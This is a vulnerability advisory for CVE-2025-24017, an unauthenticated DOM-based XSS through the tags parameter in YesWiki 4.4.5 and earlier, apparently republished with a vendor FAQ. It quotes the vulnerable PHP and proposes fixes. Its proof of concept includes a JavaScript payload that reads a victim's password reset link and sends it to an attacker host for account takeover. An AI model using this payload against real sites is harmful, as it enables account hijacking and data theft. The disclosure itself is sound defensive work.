CVE-2025-24017

Unauthenticated DOM Based XSS in YesWiki <= 4.4.5

It is possible for any end-user to craft a DOM based XSS on all of YesWiki's pages which will be triggered when a user clicks on a malicious link.

This Proof of Concept has been performed using the followings:

• YesWiki v4.4.5 (doryphore-dev branch, latest)
• Docker environnment (docker/docker-compose.yml)
• Docker v27.5.0
• Default installation

Details

The vulnerability makes use of the search by tag feature. When a tag doesn't exist, the tag is reflected on the page and isn't properly sanitized on the server side which allows a malicious user to generate a link that will trigger an XSS on the client's side when clicked.

This part of the code is managed by tools/tags/handlers/page/listpages.php, and this piece of code is responsible for the vulnerability:

$output .= '<div class="alert alert-info">' . "\n";
if ($nb_total > 1) {
    $output .= _t('TAGS_TOTAL_NB_PAGES', ['nb_total' => $nb_total]);
} elseif ($nb_total == 1) {
    $output .= _t('TAGS_ONE_PAGE_FOUND');
} else {
    $output .= _t('TAGS_NO_PAGE');
}
$output .= (!empty($tab_selected_tags) ? ' ' . _t('TAGS_WITH_KEYWORD') . ' ' . implode(' ' . _t('TAGS_WITH_KEYWORD_SEPARATOR') . ' ', array_map(function ($tagName) {
    return '<span class="tag-label label label-info">' . $tagName . '</span>';
}, $tab_selected_tags)) : '') . '.';
$output .= $this->Format('{{rss tags="' . $tags . '" class="pull-right"}}') . "\n";
$output .= '</div>' . "\n" . $text;

echo $this->Header();
echo "<div class=\"page\">\n$output\n$outputselecttag\n<hr class=\"hr_clear\" />\n</div>\n";
echo $this->Footer();

The tag names aren't properly sanitized when adding them to the page's response, thus when a tag name is user controlled, it allows client side code execution. This case describes a case where the tag name doesn't exist, but if an admin creates a malicious tag, it will also end up in XSS when rendered.

PoC

1. Simple XSS

Abusing the tags parameter, we can successfully obtain client side javascript execution:

2. Full account takeover scenario

By changing the payload of the XSS it was possible to establish a full acount takeover through a weak password recovery mechanism abuse (CWE-460). The following exploitation script allows an attacker to extract the password reset link of every logged in user that is triggered by the XSS:

fetch('/?ParametresUtilisateur')
  .then(response => {
    return response.text();
  })
  .then(htmlString => {
    const parser = new DOMParser();
    const doc = parser.parseFromString(htmlString, 'text/html');
    const resetLinkElement = doc.querySelector('.control-group .controls a'); //dirty
    fetch('http://attacker.lan:4444/?xss='.concat(btoa(resetLinkElement.href)));
  })

Hosting this script on a listener, when an admin is tricked into clicking on a maliciously crafted link, we can then reset its password and takeover their account.

Suggestion of possible corrective measures

• Sanitize properly the tag names when created here

        foreach ($tags as $tag) {
            trim($tag);
            if ($tag != '') {
                if (!$this->tripleStore->exist($page, 'http://outils-reseaux.org/_vocabulary/tag', htmlspecialchars($tag), '', '')) {
                    $this->tripleStore->create($page, 'http://outils-reseaux.org/_vocabulary/tag', htmlspecialchars($tag), '', '');
                }
                //on supprime ce tag du tableau des tags restants a effacer
                if (isset($tags_restants_a_effacer)) {
                    unset($tags_restants_a_effacer[array_search($tag, $tags_restants_a_effacer)]);
                }
            }
        }

• Sanitize the tag names when looked for here

//$tags = (isset($_GET['tags'])) ? $_GET['tags'] : '';
$tags = (isset($_GET['tags'])) ? htmlspecialchars($_GET['tags']) : '';

• Implement a stronger password reset mechanism through:

  • Not showing a password reset link to an already logged-in user.
  • Generating a password reset link when a reset is requested by a user, and only send it by mail.
  • Add an expiration/due date to the token

• Implement a strong Content Security Policy to mitigate other XSS sinks (preferably using a random nonce)

The latter idea is expensive to develop/implement, but given the number of likely sinks allowing Cross Site Scripting in the YesWiki source code, it seems necessary and easier than seeking for any improperly sanitized user input.

This vulnerability allows any user to generate a malicious link that will trigger an account takeover when clicked, therefore allowing a user to steal other accounts, modify pages, comments, permissions, extract user data (emails), thus impacting the integrity, availabilty and confidentiality of a YesWiki instance.

Untrusted input is rendered as active markup in a victim's browser, which can run script in their session. Typical impact: session or credential theft, and actions taken as the user.

CVE-2025-24017 has a CVSS score of 7.6 (High). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (4.5.0); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2025-24017? CVE-2025-24017 is a high-severity cross-site scripting (XSS) vulnerability in yeswiki/yeswiki (composer), affecting versions <= 4.4.5. It is fixed in 4.5.0. Untrusted input is rendered as active markup in a victim's browser, which can run script in their session.
2. How severe is CVE-2025-24017? CVE-2025-24017 has a CVSS score of 7.6 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of yeswiki/yeswiki are affected by CVE-2025-24017? yeswiki/yeswiki (composer) versions <= 4.4.5 is affected.
4. Is there a fix for CVE-2025-24017? Yes. CVE-2025-24017 is fixed in 4.5.0. Upgrade to this version or later.
5. Is CVE-2025-24017 exploitable, and should I be worried? Whether CVE-2025-24017 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2025-24017 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2025-24017? Upgrade yeswiki/yeswiki to 4.5.0 or later.